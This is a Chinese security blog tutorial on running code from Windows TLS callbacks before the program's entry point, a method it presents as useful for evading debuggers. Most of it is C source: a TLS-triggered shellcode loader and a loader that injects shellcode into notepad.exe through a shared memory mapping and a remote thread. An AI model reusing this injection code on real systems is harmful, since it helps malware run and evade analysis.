idiotc4t's blog
搜索文档…
TLS Code Execute

TLS简介

线程局部存储(Thread Local Storage,TLS)用来将数据与一个正在执行的指定线程关联起来。
进程中的全局变量与函数内定义的静态(static)变量,是各个线程都可以访问的共享变量。在一个线程修改的内存内容,对所有线程都生效。这是一个优点也是一个缺点。说它是优点,线程的数据交换变得非常快捷。说它是缺点,一个线程死掉了,其它线程也性命不保; 多个线程访问共享数据,需要昂贵的同步开销,也容易造成同步相关的BUG。
如果需要在一个线程内部的各个函数调用都能访问、但其它线程不能访问的变量(被称为static memory local to a thread 线程局部静态变量),这就是TLS。
TLS提供了一个回调函数(callback function),在线程程初始化和终止的时候都会调用,由于回调函数会在入口点(EP)前执行,而调试器通常会默认在主函数入口点main设置断点,所以常常被用来作为反调试手段使用,同时回调函数允许我们自由编写任意代码,TLS分为静态TLS和动态TLS,静态TLS会把TLS相关数据硬编码在PE文件内,在本篇文章内我们使用静态TLS来实现代码执行。

静态TLS

TLS回调函数遵循特殊的编写约定,与dll主函数相似。
1
typedef VOID
2
(NTAPI *PIMAGE_TLS_CALLBACK) (
3
PVOID DllHandle,
4
DWORD Reason, //Reason 遵循dll调用时相同的参数
5
PVOID Reserved
6
);
Copied!
静态TLS存储在PE头IMAGE_DATA_DIRECTORY DataDirectory[9]的位置,同其他目录表数组一样,也是8字节结构 (VA+Size),从TLS的VA处,可以找到该目录的详细信息。
1
typedef struct _IMAGE_TLS_DIRECTORY32 { //SIZE:0x18h
2
DWORD StartAddressOfRawData;
3
DWORD EndAddressOfRawData;
4
DWORD AddressOfIndex; // PDWORD
5
DWORD AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *
6
DWORD SizeOfZeroFill;
7
DWORD Characteristics;
8
} IMAGE_TLS_DIRECTORY32;
9
typedef IMAGE_TLS_DIRECTORY32 * PIMAGE_TLS_DIRECTORY32;
Copied!

代码实现

1
#include <Windows.h>
2
#include <stdio.h>
3
#pragma comment(linker, "/section:.data,RWE")
4
5
unsigned char buf[] ="shellcode";
6
7
8
VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
9
//DllHandle模块句柄、Reason调用原因、 Reserved加载方式(显式/隐式)
10
{
11
if (dwReason == DLL_PROCESS_ATTACH)
12
{
13
((void(WINAPI*)(void)) & buf)();
14
}
15
16
}
17
//使用TLS需要在程序中新建一个.tls段专门存放TLS数据,申明使用
18
#pragma comment (linker, "/INCLUDE:__tls_used")
19
#pragma comment (linker, "/INCLUDE:__tls_callback")
20
21
22
23
#pragma data_seg (".CRT$XLB")
24
//.CRT表明是使用C RunTime机制,$后面的XLB中:X表示随机的标识
25
//L表示是TLS callback section,B可以被换成B到Y之间的任意一个字母,
26
//但是不能使用“.CRT$XLA”和“.CRT$XLZ”,因为“.CRT$XLA”和“.CRT$XLZ”是用于tlssup.obj的。
27
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
28
#pragma data_seg ()
29
30
int main()
31
{
32
printf("ok");
33
return 0;
34
}
Copied!
x64的回调函数声明使用别的预处理指令
1
EXTERN_C
2
#pragma const_seg (".CRT$XLB")
3
const PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBackCheckDbugger;
4
#pragma const_seg ()
Copied!

扩展

由于TLS调用时通常已经初始化了所以进程相关信息(DLL加载、PEB分配),所以理论上我们能在TLScallback函数内实现任意代码,理论上我们能在TLS实现其他任意技术,如在TLS回调函数内实现Mapping注入技术。
1
#include <Windows.h>
2
#include <stdio.h>
3
#pragma comment(linker, "/section:.data,RWE")
4
#pragma comment (lib, "OneCore.lib")
5
#include <Tlhelp32.h>
6
7
char shellcode[]=
8
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
9
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
10
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
11
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
12
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
13
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
14
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
15
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
16
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
17
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
18
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
19
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
20
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
21
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
22
"\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
23
"\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20"
24
"\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24"
25
"\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
26
"\x55\x08";
27
28
29
DWORD pid;
30
VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
31
{
32
WCHAR lpszProcessName[] = L"notepad.exe";
33
if (dwReason == DLL_PROCESS_ATTACH)
34
{
35
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
36
37
PROCESSENTRY32 pe;
38
pe.dwSize = sizeof pe;
39
40
if (Process32First(hSnapshot, &pe))
41
{
42
do {
43
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
44
{
45
CloseHandle(hSnapshot);
46
pid = pe.th32ProcessID;
47
break;
48
}
49
} while (Process32Next(hSnapshot, &pe));
50
}
51
52
//
53
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
54
55
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));
56
57
memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
58
59
60
61
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
62
63
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
64
65
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);
66
67
UnmapViewOfFile(lpMapAddress);
68
CloseHandle(hMapping);
69
}
70
71
}
72
73
#pragma comment (linker, "/INCLUDE:__tls_used")
74
#pragma comment (linker, "/INCLUDE:__tls_callback")
75
76
77
78
#pragma data_seg (".CRT$XLB")
79
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
80
#pragma data_seg ()
81
82
83
84
85
int main()
86
{
87
return 0;
88
}
Copied!

LINKS

TLS反调试的前世今生_黑客技术
WIN10 X64下通过TLS实现反调试 - 狂客 - 博客园
TLS回调函数(一)_Hotspurs的博客-CSDN博客_tls回调函数
MemoryModule阅读与PE文件解析(四)---深入理解TLS_商少-CSDN博客
最近更新 1yr ago